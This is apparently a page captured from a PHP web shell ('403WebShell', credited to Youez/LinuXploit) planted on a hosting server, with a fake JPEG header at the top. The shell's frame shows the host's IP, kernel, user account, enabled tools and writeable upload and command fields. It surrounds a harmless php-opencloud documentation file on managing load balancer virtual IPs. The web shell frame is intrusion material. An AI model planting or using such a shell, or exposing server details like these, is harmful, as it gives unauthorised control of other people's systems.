����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.24.158
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/virtual-ips.rst
Virtual IPs
===========

.. include:: lb-setup.sample.rst


List Virtual IPs
----------------

You can list the VIPs associated with a load balancer like so:

.. code-block:: php

  $vips = $loadBalancer->virtualIpList();

  foreach ($vips as $vip) {
      /** @var $vip of OpenCloud\LoadBalancer\Resource\VirtualIp **/
  }


Get existing VIP
----------------

To retrieve the details of an existing VIP on a load balancer, you will need
its ID:

.. code-block::

  $vip = $loadBalancer->virtualIp('{virtualIpId}');


Add Virtual IPv6
----------------

You can add additional IPv6 VIPs to a load balancer using the following method:

.. code-block:: php

  use OpenCloud\LoadBalancer\Enum\IpType;

  $loadBalancer->addVirtualIp(IpType::PUBLIC, 6);

the first argument is the type of network your IP address will server traffic in
- and can either be ``PUBLIC`` or ``PRIVATE``. The second argument is the version
of IP address, either ``4`` or ``6``.


Add Virtual IPv4
----------------

Similar to above:

.. code-block:: php

  use OpenCloud\LoadBalancer\Enum\IpType;

  $loadBalancer->addVirtualIp(IpType::PUBLIC, 4);


Remove Virtual IP
-----------------

You can remove a VIP from a load balancer.

.. code-block:: php

  $vip->remove();


.. note::

  A load balancer must have at least one VIP associated with it. If you try to
  remove a load balancer's last VIP, a ``ClientErrorResponseException`` will be
  thrown.

Youez - 2016 - github.com/yon3zu
LinuXploit